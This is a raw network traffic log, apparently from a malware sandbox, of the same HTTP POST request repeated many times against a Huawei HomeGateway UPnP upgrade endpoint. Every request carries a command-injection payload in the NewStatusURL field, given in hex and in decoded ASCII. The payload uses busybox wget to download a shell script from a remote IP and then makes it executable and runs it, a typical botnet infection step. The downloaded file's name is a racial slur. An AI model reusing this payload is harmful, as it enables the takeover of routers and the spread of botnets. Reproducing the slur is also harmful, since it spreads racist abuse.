Feb 19, 2024 18:36:17.165858984 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:26.124572039 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:44.554095984 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:21.412961960 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
58	192.168.2.23	45226	31.136.169.223	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:36:08.500596046 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:09.070892096 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:10.190701962 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:12.558440924 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:36:17.165808916 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
